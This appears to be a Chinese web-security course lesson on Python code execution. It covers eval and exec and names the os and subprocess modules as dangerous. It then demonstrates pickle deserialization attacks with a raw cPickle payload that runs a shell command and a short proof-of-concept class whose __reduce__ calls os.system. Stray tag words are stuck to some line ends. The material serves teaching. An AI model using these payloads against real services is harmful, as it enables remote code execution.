風炫安全web安全學習第三十二節課 Python代碼執行以及代碼防護措施python
eval和exec函數
eval
web
eval是一個python內置函數,語法爲eval(expression, globals=None,locals=None)shell
eval函數接收三個參數:其中 expression
參數是用作運算的字符串類型表達式;globals參數用於指定運行時的全局命名空間;Locals參數用於指定運行時的局部命名空間。globals與 locals 是可選參數,默認值是 None,他們只在運算時起做用,運算後則銷燬。express
exec
安全
在Python2中exec是一個內置語句(statement)而不是一個函數,可是到了Python3中exec將Python2中做爲內置語句的exec和execfile()函數功能整合到一塊兒,成爲了一個新的函數,語法爲exec(object[, globals[,locals]])ide
exec的第一個參數能夠是code object,所以它能夠執行復雜的代碼邏輯,例如變量賦值操做等,這一點是eval作不到的。但exec返回值永遠爲 None,所以exec不能像eval同樣將計算結果返回。exec的後兩個參數與eval一致函數
標準庫危險模塊web安全
os subprocess
反序列化:學習
pickle和cpickleui
pickle.loads
>>> import cPickle >>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.") Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux 0
import cPickle import os import urllib class genpoc(object): def __reduce__(self): s = """ls /""" #要執行的命令 return os.system, (s,) #os.system("echo test >poc.txt") e = genpoc() poc = cPickle.dumps(e) print poc print urllib.quote(poc) fp = open("poc.pickle","w") fp.write(poc) # 生成 pickle文件 ----------------------- import pickle pickle.load(open('./poc.pickle'))
參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十二節課-python代碼執行以及代/